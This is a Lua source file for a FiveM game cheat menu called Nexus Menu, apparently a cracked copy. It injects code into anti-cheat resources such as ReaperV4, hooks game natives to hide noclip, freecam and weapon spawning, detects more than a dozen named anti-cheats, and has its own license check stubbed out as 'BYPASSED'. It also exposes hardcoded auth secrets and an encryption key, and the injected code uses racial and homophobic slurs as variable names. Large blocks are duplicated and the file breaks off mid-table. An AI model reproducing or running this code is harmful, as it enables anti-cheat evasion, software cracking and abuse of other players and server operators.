-- [ 2v | GraveBoys 1337 ] -> 2v_NexusMenu.lua MachoLockLogger(1) -- ===================================================== -- CENTRALIZED STRINGS TABLE -- All strings in one place for better encryption performance -- ===================================================== local S = { -- Authentication & URLs auth = { websiteUrl = "https://nexusmenu.xyz", authSecret = "nX9mK4pL2qR7wE5tY8vU3zA1bC6dF0gH", encryptionKey = "oz1IVWIlEEgzDJnNWjCUGunZnCjbjVbZYsB61ii3VfYy3TLCjMEEllXMeuJ7jMyl", sslPin = "20ELv1hUyossXxbJgn4nGYpR5D/yZ2fnrW3dNFEcWUs=" }, -- Resource names res = { reaperV4 = "ReaperV4", reaperAC = "ReaperAC", waveShield = "WaveShield", finiAC = "FiniAC", electronAC = "ElectronAC", pegasusAC = "PegasusAC", ecAC = "EC_AC", ecPanel = "EC_PANEL", apiAC = "API-AC", fiveGuard = "FiveGuard", nbAnticheat = "nb_anticheat", qbxCore = "qbx_core", qbCore = "qb-core", esExtended = "es_extended", vrp = "vrp", vRP = "vRP", oxLib = "ox_lib", oxInventory = "ox_inventory", qbInventory = "qb-inventory", esxInventory = "esx_inventory", inventory = "inventory", vbrp = "vbrp", qsInventory = "qs-inventory", coreInventory = "core_inventory", oxmysql = "oxmysql", monitor = "monitor", soaHud = "soa_hud", fancyMultijob = "fancy_multijob", srpAnticheat = "srp-anticheat", hades = "hades", cashflowCars = "cashflowcars", eagleAC = "eagleAC" }, -- Framework display names framework = { qbx = "QBX", qbCore = "QB-Core", esx = "ESX", vrp = "VRP" }, -- Messages and notifications msg = { authFailed = "Authentication failed.", missingKey = "Missing MachoAuthenticationKey", loadingSoaBypass = "loading soa bypass", soaBypassLoaded = "Soa bypass loaded successfully", soaRpFound = "Soa rp found: ", soaHudDetected = "soa_hud resource detected", houstonDetected = "Streets of Houston detected loading bypasses", noneDetected = "None Detected", blockedThreat = "Blocked possible threat from ReaperV4", failedBlock = "Failed to block possible threat from ReaperV4" }, -- Server detection strings server = { unknownServer = "Unknown Server", unknown = "Unknown", ipNotAvailable = "Server IP Not Available", svHostname = "sv_hostname", svProjectName = "sv_projectName", webBaseUrl = "web_baseUrl", infoJson = "/info.json", playersJson = "/players.json", httpPrefix = "http://", httpsPrefix = "https?://", targetIP = "91.190.154.74:30120", specialIP1 = "216.145.24.76", specialIP2 = "216.146.24.76" }, -- Metadata keys meta = { author = "author", ac = "ac", fg = "fg", cyberAnticheat = "Cyber Anticheat", waveShield = "WaveShield", reaperDomain = "reaperac.com", electron = "Electron", narcoCity = "NarcoCity", unknownAC = "UnknownAC", electronLC = "electron", reaperSecRes = "reaper_security_resource", reaperSalt = "072b0945-fdd6d8bb-2e1d0476-d15c8f4b-ed6db3e1", dashUnderscore = "[-_]" }, -- Native function names (for injection code) natives = { wait = "Wait", createThread = "CreateThread", playerPedId = "PlayerPedId", getHashKey = "GetHashKey", giveDelayedWeaponToPed = "GiveDelayedWeaponToPed", getCurrentPedWeapon = "GetCurrentPedWeapon", removeAllPedWeapons = "RemoveAllPedWeapons", removeWeaponFromPed = "RemoveWeaponFromPed", setCurrentPedWeapon = "SetCurrentPedWeapon", weaponUnarmed = "WEAPON_UNARMED", setEntityCoordsNoOffset = "SetEntityCoordsNoOffset", setEntityVisible = "SetEntityVisible" }, -- UI Banners banners = { default = { name = "Default Banner", link = "https://iili.io/K0WlPlR.png", color = "#e74c3c" }, troll = { name = "Troll banner", link = "https://cdn.discordapp.com/attachments/1420367267148861541/1422973580731351181/BEA24050-5E33-48AB-9AF4-E11F16C56739.jpg?ex=68f3b6eb&is=68f2656b&hm=51a26bca6fda558f5139132e0b18ceb57f9dfe67c7975ec0ff9c63e96522bf23&", color = "#808080" }, weird = { name = "weird ahh banner", link = "https://cdn.discordapp.com/attachments/1420367267148861541/1423103556373971024/image.png?ex=68f38737&is=68f235b7&hm=bb1e0afd11418db22df279875dbd20731ab190af37cca35a83089c661be5154d&", color = "#ffffff" }, dino = { name = "dino", link = "https://cdn.discordapp.com/attachments/1420367267148861541/1423597798569545799/image.jpg?ex=68f35944&is=68f207c4&hm=85e3e9868cc30c7cb22205658d39da9a1d676407ffb9054ca580bae4c70bdf87&", color = "#000000" } }, -- Weapon display names weaponDisplay = { unarmed = "Unarmed", unknown = "Unknown Weapon", none = "None" }, -- Vehicle display vehicleDisplay = { none = "None" }, -- Blacklisted keys blacklist = { ["4907273698517596323"] = true, ["6213609210568058205"] = true, ["4918682930182583707"] = true, ["2570345233813596917"] = true }, -- Navigation nav = { home = "Home" }, -- Plane models planes = { bombushka = "BOMBUSHKA" }, -- API endpoints api = { authenticate = "/api/authenticate/?key=%s&nonce=%s", injectionLog = "/api/injection_log" }, -- URL parameters params = { authKey = "auth_key", nonce = "nonce", discordUser = "discord_user", discordUserId = "discord_user_id", expiryDate = "expiry_date", serverIp = "server_ip", serverAnticheat = "server_anticheat", serverFramework = "server_framework" }, -- Global variable names globals = { nexusVIPStatus = "NexusMenuVIPStatus", nexusDiscordUsername = "NexusMenuDiscordUsername", nexusExpiryDate = "NexusMenuExpiryDate", nexusDiscordID = "NexusMenuDiscordID", nexusNoclipEnabled = "nexusNoclipEnabled", nexusNoclipHooksSetup = "nexusNoclipHooksSetup", citizenWait = "_G.Wait = Citizen.Wait", freecamBypass = "FreecamBypass", freecamInit = "FreecamInit", freecamUpdate = "FreecamUpdate" }, -- Injection code templates inject = { weaponBypass = [[ local _GetCurrentPedWeapon = GetCurrentPedWeapon local _RemoveAllPedWeapons = RemoveAllPedWeapons local _RemoveWeaponFromPed = RemoveWeaponFromPed local _SetCurrentPedWeapon = SetCurrentPedWeapon GetCurrentPedWeapon = function(ped, ...) return true, GetHashKey("WEAPON_UNARMED") end RemoveAllPedWeapons = function(ped, ...) return end RemoveWeaponFromPed = function(ped, weapon) return end SetCurrentPedWeapon = function(ped, weapon, ...) if weapon == GetHashKey("WEAPON_UNARMED") then return _SetCurrentPedWeapon(ped, weapon, ...) end return end exports.ox_inventory:weaponWheel(true) ]], freecamReaper = [[ _G["GetRenderingCam"] = function() return 0 end _G["GetDistanceBetweenCoords"] = function() return 0 end ]], freecamEagle = [[ SetCamCoord(%d, %f, %f, %f) SetCamRot(%d, 0.0, 0.0, %f, 2) RenderScriptCams(true, false, 0, true, true) ]], freecamStandard = [[ if not _G.NexusFreecamBypassInstalled then local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end _G.NexusFreecamBypassInstalled = true end if not SmartInvoker then function SmartInvoker(func, ...) return func(...) end end SmartInvoker(SetCamCoord, %d, %f, %f, %f) SmartInvoker(SetCamRot, %d, 0.0, 0.0, %f, 2) SmartInvoker(RenderScriptCams, true, false, 0, true, true) ]], freecamLoop = [[ if not SmartInvoker then function SmartInvoker(func, ...) return func(...) end end SmartInvoker(SetCamCoord, %d, %f, %f, %f) SmartInvoker(SetCamRot, %d, %f, 0.0, %f, 2) SmartInvoker(SetFocusPosAndVel, %f, %f, %f, 0.0, 0.0, 0.0) ]] } } -- Global resource detection and smart invoker functions local function resourceStarted(resource) return GetResourceState(resource) == 'started' end -- ReaperV4 native overrides (if ReaperV4 is running) if GetResourceState(S.res.reaperV4) == "started" then MachoInjectResourceRaw(S.res.reaperV4, [[ local KillThe = Citizen.InvokeNative local Nigers = { SetEntityCoordsNoOffset = 0x239A3351AC1DA385, SetEntityVisible = 0xEA1C610A04DB6BBB } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end -- Override SetEntityCoordsNoOffset to use Citizen.InvokeNative local originalSetEntityCoordsNoOffset = SetEntityCoordsNoOffset SetEntityCoordsNoOffset = function(entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) return DrillMyShitTwin("SetEntityCoordsNoOffset", entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) end -- Override SetEntityVisible to use Citizen.InvokeNative local originalSetEntityVisible = SetEntityVisible SetEntityVisible = function(entity, toggle, unk) return DrillMyShitTwin("SetEntityVisible", entity, toggle, unk) end ]]) -- Hook noclip natives globally when ReaperV4 is running if not _G[S.globals.nexusNoclipHooksSetup] then -- IsPedClimbing - return true when noclip enabled MachoHookNative(0x53E8CB4F48BFE623, function(ped) if _G[S.globals.nexusNoclipEnabled] then return false, nil end end) -- GetGameTimer MachoHookNative(0x317B11A312DF5534, function() if _G[S.globals.nexusNoclipEnabled] then return false, 100 end end) -- IsPedJumpingOutOfVehicle MachoHookNative(0x433DDFFE2044B636, function(ped) if _G[S.globals.nexusNoclipEnabled] then return false, true end end) -- GetPedParachuteState MachoHookNative(0x79CFD9827CC979B6, function(ped) if _G[S.globals.nexusNoclipEnabled] then return false, -1 end end) _G[S.globals.nexusNoclipHooksSetup] = true end end -- Simplified SmartInvoker - just calls functions directly function SmartInvoker(func, ...) if type(func) == "function" then return func(...) end return nil end local function isValidFunction(func) return type(func) == "function" end -- Global nexus namespace for safe native wrapping nexus = nexus or {} -- SafeWrap helper - wraps a function to safely call it local function SafeWrap(setFunc) return function(...) return setFunc(...) end end -- safeCall helper - safely calls a function if it exists local function safeCall(fn, ...) if fn then return fn(...) end end -- nexus.native - wraps a native function name with SafeWrap for safe execution -- Usage: nexus.native("SetEntityCoords") returns a safely wrapped version function nexus.native(nativeName) local fn = _G[nativeName] if fn and type(fn) == "function" then return SafeWrap(fn) end return function() end -- Return empty function if native doesn't exist end -- nexus.safeCall - safely calls a function nexus.safeCall = safeCall -- nexus.SafeWrap - expose SafeWrap globally nexus.SafeWrap = SafeWrap -- Centralized weapon spawning function used by all Force Weapons Spawner options -- ===================================================== -- NEXUS AUTH - Optimized with Nonce + Signature + SSL Pinning -- ===================================================== local WEBSITE_URL = S.auth.websiteUrl local AUTH_SECRET = S.auth.authSecret local ENCRYPTION_KEY = S.auth.encryptionKey -- SSL Pin for nexusmenu.xyz (SHA256 fingerprint of certificate public key) -- To get this: openssl s_client -connect nexusmenu.xyz:443 | openssl x509 -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 local SSL_PIN = S.auth.sslPin -- Request helper - uses SSL pinning if available, falls back to regular request local function secureRequest(url) local response = nil if type(MachoGetRequestPinned) == "function" then local success, result = pcall(MachoGetRequestPinned, url, SSL_PIN) if success then response = result else end else end if not response and type(MachoGetRequest) == "function" then local success, result = pcall(MachoGetRequest, url) if success then response = result else end elseif not response then end if not response and type(MachoWebRequest) == "function" then local success, result = pcall(MachoWebRequest, url) if success then response = result else end elseif not response then end if not response or response == "" then end return response end -- ===================================================== -- BASE62 DECRYPTION (matches Python lua_encryption.py) -- ===================================================== local function c2v(ch) local b = string.byte(ch) if b >= 48 and b <= 57 then return b - 48 elseif b >= 65 and b <= 90 then return b - 65 + 10 elseif b >= 97 and b <= 122 then return b - 97 + 36 else return nil end end local function dec_b62_quad(a, b, c, d) local va, vb, vc, vd = c2v(a), c2v(b), c2v(c), c2v(d) if not va or not vb or not vc or not vd then return nil end return ((vb * 62) + vc) & 0xFF end local function fnv1a32(s, seed) local h = seed or 0x811C9DC5 for i = 1, #s do h = (h ~ string.byte(s, i)) & 0xFFFFFFFF h = (h * 16777619) & 0xFFFFFFFF end return h end local function kdf(pass, nonce) local s1 = fnv1a32(pass .. nonce, 0x811C9DC5) local s2 = fnv1a32(nonce .. pass, 0x01000193) s1 = s1 ~ fnv1a32(string.reverse(nonce), 0x85EBCA6B) s2 = s2 ~ fnv1a32(string.upper(pass), 0xC2B2AE35) s1 = s1 & 0xFFFFFFFF s2 = s2 & 0xFFFFFFFF if s1 == 0 then s1 = 1 end if s2 == 0 then s2 = 1 end return s1, s2 end local function xorshift32_new(seed1, seed2) local s = ((seed1 ~ (seed2 << 1)) ~ 0xA5A5A5A5) & 0xFFFFFFFF if s == 0 then s = 0x6C8E9CF5 end return function() s = s ~ ((s << 13) & 0xFFFFFFFF) s = s ~ (s >> 17) s = s ~ ((s << 5) & 0xFFFFFFFF) s = s & 0xFFFFFFFF return s end end local function decrypt(cipher_b62, key) if (#cipher_b62 % 4) ~= 0 then return "" end local bytes = {} for i = 1, #cipher_b62, 4 do local v = dec_b62_quad(string.sub(cipher_b62, i, i), string.sub(cipher_b62, i + 1, i + 1), string.sub(cipher_b62, i + 2, i + 2), string.sub(cipher_b62, i + 3, i + 3)) if not v then return "" end bytes[#bytes + 1] = string.char(v) end local raw = table.concat(bytes) if #raw < 16 then return "" end local nonce = string.sub(raw, 1, 16) local ct = string.sub(raw, 17) local k1, k2 = kdf(key, nonce) local next32 = xorshift32_new(k1, k2) local out = {} local i = 1 while i <= #ct do local b1 = string.byte(ct, i) i = i + 4 local w1 = next32() next32(); next32(); next32() local kA = w1 & 0xFF out[#out + 1] = string.char(b1 ~ kA) end return table.concat(out) end -- ===================================================== -- MD5 IMPLEMENTATION (Pure Lua) -- ===================================================== local bit = bit or bit32 if not bit then local func = load([[ return { bor = function(a,b) return a | b end, band = function(a,b) return a & b end, bxor = function(a,b) return a ~ b end, rshift = function(a,b) return a >> b end, lshift = function(a,b) return a << b end, bnot = function(a) return ~a end } ]]) if func then bit = func() end end local function md5(str) local K = { 0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee, 0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501, 0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be, 0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821, 0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa, 0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8, 0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed, 0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a, 0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c, 0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70, 0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05, 0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665, 0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039, 0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1, 0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1, 0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391 } local function leftrotate(x, c) return bit.bor(bit.band(bit.lshift(x, c), 0xFFFFFFFF), bit.rshift(x, 32 - c)) end local msgLen = #str local msg = str .. string.char(0x80) local bitLen = msgLen * 8 while (#msg % 64) ~= 56 do msg = msg .. string.char(0) end for i = 0, 7 do msg = msg .. string.char(bit.band(bit.rshift(bitLen, i * 8), 0xFF)) end local h0, h1, h2, h3 = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 for chunkStart = 1, #msg, 64 do local chunk = msg:sub(chunkStart, chunkStart + 63) local M = {} for i = 0, 15 do local pos = i * 4 + 1 local a, b, c, d = string.byte(chunk, pos, pos + 3) M[i] = bit.bor(bit.bor(a or 0, bit.lshift(b or 0, 8)), bit.bor(bit.lshift(c or 0, 16), bit.lshift(d or 0, 24))) end local A, B, C, D = h0, h1, h2, h3 for i = 0, 63 do local F, g if i <= 15 then F = bit.bor(bit.band(B, C), bit.band(bit.bnot(B), D)); g = i elseif i <= 31 then F = bit.bor(bit.band(D, B), bit.band(bit.bnot(D), C)); g = (5 * i + 1) % 16 elseif i <= 47 then F = bit.bxor(bit.bxor(B, C), D); g = (3 * i + 5) % 16 else F = bit.bxor(C, bit.bor(B, bit.bnot(D))); g = (7 * i) % 16 end local temp = D; D = C; C = B local sum = bit.band(A + F + K[i + 1] + M[g], 0xFFFFFFFF) local s = ({7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21})[i + 1] B = bit.band(B + leftrotate(sum, s), 0xFFFFFFFF); A = temp end h0 = bit.band(h0 + A, 0xFFFFFFFF); h1 = bit.band(h1 + B, 0xFFFFFFFF) h2 = bit.band(h2 + C, 0xFFFFFFFF); h3 = bit.band(h3 + D, 0xFFFFFFFF) end local function toHex32LE(n) return string.format("%02x%02x%02x%02x", bit.band(n, 0xFF), bit.band(bit.rshift(n, 8), 0xFF), bit.band(bit.rshift(n, 16), 0xFF), bit.band(bit.rshift(n, 24), 0xFF)) end return toHex32LE(h0) .. toHex32LE(h1) .. toHex32LE(h2) .. toHex32LE(h3) end -- ===================================================== -- NONCE GENERATION -- ===================================================== local _nonceCounter = 0 local function generateNonce() _nonceCounter = _nonceCounter + 1 local timestamp = GetGameTimer and GetGameTimer() or 0 local random1 = math.random(100000, 999999) local random2 = math.random(100000, 999999) return string.format("%d%d%d%d", timestamp, random1, random2, _nonceCounter) end -- ===================================================== -- URL ENCODING -- ===================================================== local function urlEncode(str) if str then str = string.gsub(str, "\n", "\r\n") str = string.gsub(str, "([^%w %-%_%.%~])", function(c) return string.format("%%%02X", string.byte(c)) end) str = string.gsub(str, " ", "+") end return str end -- ===================================================== -- SIGNATURE VERIFICATION -- ===================================================== local function phpBool(val) if val == true then return "1" end return "" end local function verifySignature(result, nonce) if not result.signature then return false end local payload = phpBool(result.exists) .. phpBool(result.valid) .. tostring(result.expires_at or "") .. tostring(result.discord_id or "") .. tostring(result.timestamp or "") .. tostring(nonce) local expectedSig = md5(AUTH_SECRET .. payload .. AUTH_SECRET) return expectedSig == result.signature end -- ===================================================== -- SERVER DETECTION -- ===================================================== local function getServerIP() local success, result = pcall(GetCurrentServerEndpoint) if success and result and result ~= "" then return result end success, result = pcall(GetConvar, S.server.webBaseUrl, "") if success and result and result ~= "" then return result end return S.server.unknown end local function getServerName() local success, result = pcall(GetConvar, S.server.svHostname, S.server.unknownServer) if success and result and result ~= "" then return string.gsub(result, "%^%d", "") -- Remove color codes end return S.server.unknownServer end local function getPlayerCount() local success, result = pcall(GetNumberOfPlayers) if success then return result end return 0 end -- ===================================================== -- ANTICHEAT & FRAMEWORK DETECTION -- ===================================================== local function detectAnticheats() local detected = {} local knownAC = {S.res.reaperV4, S.res.reaperAC, S.res.waveShield, S.res.finiAC, S.res.electronAC, S.res.pegasusAC, S.res.ecAC, S.res.ecPanel, S.res.apiAC} for _, ac in ipairs(knownAC) do local success, state = pcall(GetResourceState, ac) if success and state == "started" then table.insert(detected, ac) end end -- Check FiveGuard via metadata local success, numRes = pcall(GetNumResources) if success then for i = 0, math.min(numRes, 100) - 1 do local res = GetResourceByFindIndex(i) if res then local s2, acMeta = pcall(GetResourceMetadata, res, S.meta.ac, 0) if s2 and acMeta == S.meta.fg then table.insert(detected, S.res.fiveGuard) break end end end end return #detected == 0 and S.msg.noneDetected or table.concat(detected, ", ") end local function detectFramework() local detected = {} local frameworks = { {resource = S.res.qbxCore, name = S.framework.qbx}, {resource = S.res.qbCore, name = S.framework.qbCore}, {resource = S.res.esExtended, name = S.framework.esx}, {resource = S.res.vrp, name = S.framework.vrp} } for _, fw in ipairs(frameworks) do local success, state = pcall(GetResourceState, fw.resource) if success and state == "started" then table.insert(detected, fw.name) end end return #detected == 0 and S.msg.noneDetected or table.concat(detected, ", ") end -- ===================================================== -- INJECTION LOGGING -- ===================================================== -- ===================================================== -- INJECTION LOG (BYPASSED) -- ===================================================== local function sendInjectionLog(authData) -- Disabled end -- ===================================================== -- CLIENT BLACKLIST (BYPASSED) -- ===================================================== local CLIENT_BLACKLISTED_KEYS = {} local function isKeyBlacklisted(key) return false end -- ===================================================== -- MAIN AUTHENTICATION (BYPASSED) -- ===================================================== if type(MachoAuthenticationKey) ~= "function" then MachoAuthenticationKey = function() return "BYPASS" end end local function authenticateKey() _G[S.globals.nexusVIPStatus] = true _G[S.globals.nexusDiscordUsername] = "Dev" _G[S.globals.nexusExpiryDate] = "Lifetime" _G[S.globals.nexusDiscordID] = "0" return true end -- ===================================================== -- MAIN THREAD -- ===================================================== CreateThread(function() Wait(0) initializeMenuSystem() end) -- Global resource detection and smart invoker functions local function resourceStarted(resource) return GetResourceState(resource) == 'started' end -- ReaperV4 native overrides (if ReaperV4 is running) if GetResourceState("ReaperV4") == "started" then MachoInjectResourceRaw("ReaperV4", [[ local KillThe = Citizen.InvokeNative local Nigers = { SetEntityCoordsNoOffset = 0x239A3351AC1DA385, SetEntityVisible = 0xEA1C610A04DB6BBB } local function DrillMyShitTwin(name, ...) local fagets = Nigers[name] if not fagets then return end return KillThe(fagets, ...) end -- Override SetEntityCoordsNoOffset to use Citizen.InvokeNative local originalSetEntityCoordsNoOffset = SetEntityCoordsNoOffset SetEntityCoordsNoOffset = function(entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) return DrillMyShitTwin("SetEntityCoordsNoOffset", entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) end -- Override SetEntityVisible to use Citizen.InvokeNative local originalSetEntityVisible = SetEntityVisible SetEntityVisible = function(entity, toggle, unk) return DrillMyShitTwin("SetEntityVisible", entity, toggle, unk) end ]]) -- Hook noclip natives globally when ReaperV4 is running if not _G.nexusNoclipHooksSetup then -- IsPedClimbing - return true when noclip enabled MachoHookNative(0x53E8CB4F48BFE623, function(ped) if _G.nexusNoclipEnabled then return false, true end end) -- GetGameTimer - return 100 when noclip enabled MachoHookNative(0x317B11A312DF5534, function() if _G.nexusNoclipEnabled then return false, 100 end end) -- IsPedJumpingOutOfVehicle - return true when noclip enabled MachoHookNative(0x433DDFFE2044B636, function(ped) if _G.nexusNoclipEnabled then return false, true end end) -- GetPedParachuteState - return 1 when noclip enabled MachoHookNative(0x79CFD9827CC979B6, function(ped) if _G.nexusNoclipEnabled then return false, 1 end end) _G.nexusNoclipHooksSetup = true end end -- Simplified SmartInvoker - just calls functions directly function SmartInvoker(func, ...) if type(func) == "function" then return func(...) end return nil end local function isValidFunction(func) return type(func) == "function" end local function getServerIP() -- Add small delay to prevent immediate detection -- Wait(100) -- Removed for optimization -- Get the actual server connection endpoint local serverIP = nil -- Method 1: Get from current connection info local currentServerEndpoint = GetCurrentServerEndpoint() if currentServerEndpoint and currentServerEndpoint ~= "" then serverIP = currentServerEndpoint end -- Method 2: Try getting player's server endpoint if not serverIP or serverIP == "" then local playerEndpoint = GetPlayerEndpoint(PlayerId()) if playerEndpoint and playerEndpoint ~= "" then -- Extract server IP from player endpoint serverIP = playerEndpoint end end -- Method 3: Try web base URL if not serverIP or serverIP == "" then serverIP = GetConvar(S.server.webBaseUrl, "") end -- Method 4: Get hostname convar if not serverIP or serverIP == "" then local hostName = GetConvar(S.server.svHostname, "") -- Try to extract IP from hostname if it contains one local ip = string.match(hostName, "%d+%.%d+%.%d+%.%d+:%d+") if ip then serverIP = ip end end -- Fallback if not serverIP or serverIP == "" then serverIP = S.server.ipNotAvailable end return serverIP end local function getServerInfoFromInfoJson() -- Get server IP first local serverIP = getServerIP() if not serverIP or serverIP == S.server.ipNotAvailable then return nil, nil, nil end -- Clean up server IP (remove protocol if present) local cleanIP = string.gsub(serverIP, S.server.httpsPrefix, "") cleanIP = string.gsub(cleanIP, "/$", "") -- Remove trailing slash -- Try to fetch info.json from the server local infoUrl = S.server.httpPrefix .. cleanIP .. S.server.infoJson local response = MachoWebRequest(infoUrl) if response then local success, data = pcall(json.decode, response) if success and data then return data, cleanIP, infoUrl end end return nil, cleanIP, infoUrl end local function getServerName() -- Add small delay to prevent immediate detection -- Wait(50) -- Removed for optimization -- Try to get server name from info.json first local serverInfo, serverIP, infoUrl = getServerInfoFromInfoJson() if serverInfo and serverInfo.vars and serverInfo.vars[S.server.svProjectName] then local projectName = serverInfo.vars[S.server.svProjectName] return projectName end -- Fallback to hostname if info.json fails local serverName = GetConvar(S.server.svHostname, S.server.unknownServer) -- Remove color codes if present serverName = string.gsub(serverName, "%^%d", "") return serverName end -- Generic anticheat detector local function GetAntiCheats() local ACs = {} for i = 0, GetNumResources() do local resource = GetResourceByFindIndex(i) if resource ~= nil then local author = GetResourceMetadata(resource, "author", 0) local desc = GetResourceMetadata(resource, "author", 0) local ac = GetResourceMetadata(resource, "ac", 0) if ac == "fg" then table.insert(ACs, { "Fiveguard", resource }) elseif GetResourceState("nb_anticheat") == "started" and not string.find(resource, "nb_anticheat") then table.insert(ACs, { "NB AntiCheat", resource }) elseif author == "Cyber Anticheat" then table.insert(ACs, { "Cyber Anticheat", resource }) elseif string.find(resource, "EC_AC") then table.insert(ACs, { "EagleAC", resource }) elseif author == "WaveShield" then table.insert(ACs, { "WaveShield", resource }) elseif string.find(author or "", "reaperac.com") then table.insert(ACs, { "ReaperV4", resource }) elseif string.find(author or "", "Electron") then table.insert(ACs, { "ElectronAC", resource }) elseif resource == "hades" then table.insert(ACs, { "NarcoCity", resource }) elseif GetResourceState("srp-anticheat") == "started" then table.insert(ACs, { "ElectronAC", "esx_rpchat" }) elseif desc then local stripped = desc:gsub("-", ""):lower() if stripped:find("anticheat") then table.insert(ACs, { "UnknownAC", resource }) end elseif string.find(resource, "_ac") then table.insert(ACs, { "UnknownAC", resource }) end end end return ACs end local function getPlayerCount() -- Add small delay to prevent immediate detection -- Wait(50) -- Removed for optimization -- Get server IP first local serverIP = getServerIP() if not serverIP or serverIP == "Server IP Not Available" then -- Fallback to GetNumberOfPlayers if we can't get server IP local playerCount = GetNumberOfPlayers() return playerCount end -- Clean up server IP (remove protocol if present) local cleanIP = string.gsub(serverIP, "^https?://", "") cleanIP = string.gsub(cleanIP, "/$", "") -- Remove trailing slash -- Try to fetch players.json from the server local playersUrl = "http://" .. cleanIP .. "/players.json" local response = MachoWebRequest(playersUrl) if response then local success, playersData = pcall(json.decode, response) if success and playersData and type(playersData) == "table" then local playerCount = #playersData -- Count the number of players in the array return playerCount end end -- Fallback to GetNumberOfPlayers if players.json fails local playerCount = GetNumberOfPlayers() return playerCount end local function urlEncode(str) if str then str = string.gsub(str, "\n", "\r\n") str = string.gsub(str, "([^%w %-%_%.%~])", function(c) return string.format("%%%02X", string.byte(c)) end) str = string.gsub(str, " ", "+") end return str end local function detectServerAnticheat() -- Wait(500) -- Removed for optimization local detectedAnticheats = {} -- Check specific known anticheat resources using GetResourceState local knownAnticheats = { "ReaperV4", "ReaperAC", "WaveShield", "FiniAC", "ElectronAC", "PegasusAC", "EC_AC", "EC_PANEL", "API-AC" } for _, acResource in ipairs(knownAnticheats) do if GetResourceState(acResource) == "started" then table.insert(detectedAnticheats, acResource) end end -- Detect FiveGuard using metadata method (ac = "fg") local fiveGuardDetected = false for i = 0, GetNumResources() - 1 do local resourceName = GetResourceByFindIndex(i) if resourceName and GetResourceState(resourceName) == "started" then local acMeta = GetResourceMetadata(resourceName, "ac", 0) if acMeta == "fg" then if not fiveGuardDetected then table.insert(detectedAnticheats, "FiveGuard") fiveGuardDetected = true end end end end if #detectedAnticheats == 0 then return "None Detected" end return table.concat(detectedAnticheats, ", ") end local function detectServerFramework() -- Wait(500) -- Removed for optimization local detectedFrameworks = {} -- Check for frameworks using GetResourceState local frameworks = { {resource = "qbx_core", name = "QBX"}, {resource = "qb-core", name = "QB-Core"}, {resource = "es_extended", name = "ESX"}, {resource = "vrp", name = "VRP"}, {resource = "vRP", name = "VRP"} } local vrpDetected = false for _, framework in ipairs(frameworks) do if GetResourceState(framework.resource) == "started" then -- Avoid duplicate VRP entries if framework.name == "VRP" then if not vrpDetected then table.insert(detectedFrameworks, framework.name) vrpDetected = true end else table.insert(detectedFrameworks, framework.name) end end end if #detectedFrameworks == 0 then return "None Detected" end return table.concat(detectedFrameworks, ", ") end local function sendFailedLoginAttempt(reason) -- Get server information local detectedServerIP = getServerIP() local detectedServerName = getServerName() local playerCount = getPlayerCount() local authKey = MachoAuthenticationKey() or "Unknown" print("• Auth Key: " .. authKey) print("• Server IP: " .. detectedServerIP) print("• Server Name: " .. detectedServerName) print("• Player Count: " .. playerCount) print("• Reason: " .. (reason or "Unknown")) -- Send failed login attempt to server using GET with URL parameters local auth_key = urlEncode(authKey) local discord_user = urlEncode("Unknown") local discord_user_id = urlEncode("Unknown") local expiry_date = urlEncode("Unknown") local server_ip = urlEncode(detectedServerIP) local server_name = urlEncode(detectedServerName) local player_count = urlEncode(tostring(playerCount)) -- Build URL with query parameters local url = "https://nexusmenu.xyz/api/injection_log?auth_key=" .. auth_key .. "&discord_user=" .. discord_user .. "&discord_user_id=" .. discord_user_id .. "&expiry_date=" .. expiry_date .. "&server_ip=" .. server_ip .. "&server_name=" .. server_name .. "&player_count=" .. player_count print("Sending failed login attempt to server...") local response = MachoWebRequest(url) if response then local responseData = json.decode(response) if responseData and responseData.status == "success" then print("✓ Failed login attempt logged successfully!") else print("✗ Server returned error: " .. (responseData and responseData.message or "unknown")) end else print("✗ Warning: Failed to log failed login attempt") end end -- ================================================================= -- CLIENT-SIDE BLACKLISTED KEYS SYSTEM -- ================================================================= -- These keys are permanently blocked at the client level BEFORE contacting the server. -- This provides extra security by preventing blacklisted keys from even attempting authentication. -- -- BENEFITS: -- ✅ Blocks injection attempts before server contact -- ✅ Works even if server is down -- ✅ Prevents key leakage to server logs -- ✅ Additional layer of security beyond server-side checks -- ================================================================= local CLIENT_BLACKLISTED_KEYS = { -- Add blacklisted macho keys here (they will be blocked before server contact) -- Format: ["key-here"] = true, -- Example: ["abc123-def456-ghi789"] = true, -- ADD YOUR BLACKLISTED KEYS BELOW THIS LINE: ["4907273698517596323"] = true, -- Blacklisted ID #1 ["6213609210568058205"] = true, -- Blacklisted ID #2 ["4918682930182583707"] = true, -- Blacklisted ID #3 ["4918682930182583707"] = true, -- Blacklisted ID #5 ["2570345233813596917"] = true, -- Blacklisted ID #6 -- Examples: -- 